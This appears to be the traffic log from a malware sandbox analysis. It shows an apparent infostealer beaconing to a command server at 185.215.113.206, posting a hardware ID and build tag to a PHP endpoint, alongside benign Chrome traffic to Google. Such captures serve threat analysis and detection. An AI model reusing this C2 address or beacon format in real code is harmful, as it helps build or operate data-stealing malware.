Dec 10, 2024 02:52:23.983124018 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 02:52:25.281373978 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:52:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 10, 2024 02:52:25.514838934 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 33 36 36 34 45 38 38 38 32 38 37 32 35 35 36 31 33 34 35 35 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 2d 2d 0d 0a Data Ascii: ------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="hwid"B3664E8882872556134559------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="build"stok------EHCGIJDHDGDBGDGCGCFH--
Dec 10, 2024 02:52:25.957313061 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:52:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	50110	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:52:44.353765011 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	172.217.21.36	443	344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:10 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 01:50:11 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:10 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-47zkf8vOvudwWc83MXRdTA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-10 01:50:11 UTC	124	IN	Data Raw: 62 32 63 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6c 65 68 69 67 68 20 70 65 6e 6e 20 73 74 61 74 65 20 77 72 65 73 74 6c 69 6e 67 20 72 65 73 75 6c 74 73 22 2c 22 77 6f 72 64 6c 65 20 74 6f 64 61 79 20 64 65 63 65 6d 62 65 72 20 39 22 2c 22 73 6f 6c 61 72 20 66 6c 61 72 65 73 22 2c 22 64 65 6c 61 79 20 64 65 6e 79 20 64 65 66 65 6e 64 20 67 6f 6f 64 72 65 61 64 73 22 2c Data Ascii: b2c)]}'["",["lehigh penn state wrestling results","wordle today december 9","solar flares","delay deny defend goodreads",
2024-12-10 01:50:11 UTC	1390	IN	Data Raw: 22 69 6e 64 69 61 6e 61 20 6a 6f 6e 65 73 20 67 72 65 61 74 20 63 69 72 63 6c 65 22 2c 22 70 6f 77 65 72 62 61 6c 6c 20 6c 6f 74 74 65 72 79 20 6a 61 63 6b 70 6f 74 22 2c 22 66 61 6e 74 61 73 79 20 66 6f 6f 74 62 61 6c 6c 20 77 61 69 76 65 72 20 77 69 72 65 20 77 65 65 6b 20 31 35 22 2c 22 6e 79 74 20 73 74 72 61 6e 64 73 20 68 69 6e 74 73 20 64 65 63 65 6d 62 65 72 20 39 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d Data Ascii: "indiana jones great circle","powerball lottery jackpot","fantasy football waiver wire week 15","nyt strands hints december 9"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2Vhcm
2024-12-10 01:50:11 UTC	1353	IN	Data Raw: 53 44 6c 55 52 6e 52 54 4d 30 6c 4a 51 56 4d 35 63 6d 30 31 63 57 68 72 65 48 6c 59 54 56 70 78 63 58 5a 36 5a 57 56 58 51 33 4a 75 4d 31 4a 54 56 54 6c 50 63 55 46 72 53 57 39 4c 63 7a 56 4b 59 6c 4e 4f 54 6a 64 42 63 6a 4e 4f 4e 32 6b 72 54 6a 42 73 55 44 41 33 62 44 6c 47 53 6c 4e 61 59 6c 46 74 62 6d 6c 75 61 7a 46 50 61 47 70 46 5a 7a 63 34 5a 30 4a 35 55 55 49 31 5a 58 63 30 52 6e 55 7a 59 6b 52 71 53 48 6c 54 59 6d 52 4b 57 47 46 36 63 48 52 34 4e 55 70 55 62 45 35 76 51 55 31 47 51 6c 4a 78 65 6d 52 52 56 6d 78 54 54 58 4e 69 63 55 4e 6b 53 6d 31 70 4d 31 6c 76 4d 47 4e 30 64 6c 45 32 62 55 59 78 55 47 52 70 54 6b 35 36 57 54 4e 31 55 58 42 4f 63 32 52 73 53 6c 46 57 4b 32 46 61 54 6c 4e 78 4b 31 70 61 62 6b 30 77 4d 56 64 4b 57 6c 6b 79 64 57 39 Data Ascii: SDlURnRTM0lJQVM5cm01cWhreHlYTVpxcXZ6ZWVXQ3JuM1JTVTlPcUFrSW9LczVKYlNOTjdBcjNON2krTjBsUDA3bDlGSlNaYlFtbmluazFPaGpFZzc4Z0J5UUI1ZXc0RnUzYkRqSHlTYmRKWGF6cHR4NUpUbE5vQU1GQlJxemRRVmxTTXNicUNkSm1pM1lvMGN0dlE2bUYxUGRpTk56WTN1UXBOc2RsSlFWK2FaTlNxK1pabk0wMVdKWlkydW9
2024-12-10 01:50:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	172.217.21.36	443	344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:10 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	172.217.21.36	443	344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:10 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 01:50:11 UTC	1018	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 10 Dec 2024 01:50:10 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-10 01:50:11 UTC	372	IN	Data Raw: 31 64 61 39 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1da9)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-10 01:50:11 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-10 01:50:11 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-10 01:50:11 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-10 01:50:11 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-10 01:50:11 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 34 37 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700247,3700949,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2024-12-10 01:50:11 UTC	279	IN	Data Raw: 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 Data Ascii: c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor
2024-12-10 01:50:11 UTC	365	IN	Data Raw: 31 36 36 0d 0a 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4c 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4b 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 48 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 5b 49 64 28 5c 22 64 61 74 61 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 49 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 49 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 48 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4e Data Ascii: 166ring(){return this.i}};_.Ld\u003dnew _.Kd(\"about:invalid#zClosurez\");_.Hd\u003dclass{constructor(a){this.ih\u003da}};_.Md\u003d[Id(\"data\"),Id(\"http\"),Id(\"https\"),Id(\"mailto\"),Id(\"ftp\"),new _.Hd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.N
2024-12-10 01:50:11 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 53 64 2c 66 65 2c 52 64 2c 54 64 2c 59 64 3b 5f 2e 50 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 51 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 Data Ascii: 8000HTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Sd,fe,Rd,Td,Yd;_.Pd\u003dfunction(a){return a\u003d\u003dnull?a:Number.isFinite(a)?a\|0:void 0};_.Qd\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)
2024-12-10 01:50:11 UTC	1390	IN	Data Raw: 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 51 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 50 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 64 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 65 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 Data Ascii: !1)!\u003d\u003dvoid 0};_.de\u003dfunction(a,b){return _.Qd(_.Jc(a,b))};_.S\u003dfunction(a,b){return _.Pd(_.Jc(a,b))};_.T\u003dfunction(a,b,c\u003d0){return _.vb(_.de(a,b),c)};_.ee\u003dfunction(a,b,c\u003d0){return _.vb(_.S(a,b),c)};_.ge\u003dfunction(a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	172.217.21.36	443	344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:10 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 01:50:11 UTC	933	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 10 Dec 2024 01:50:11 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
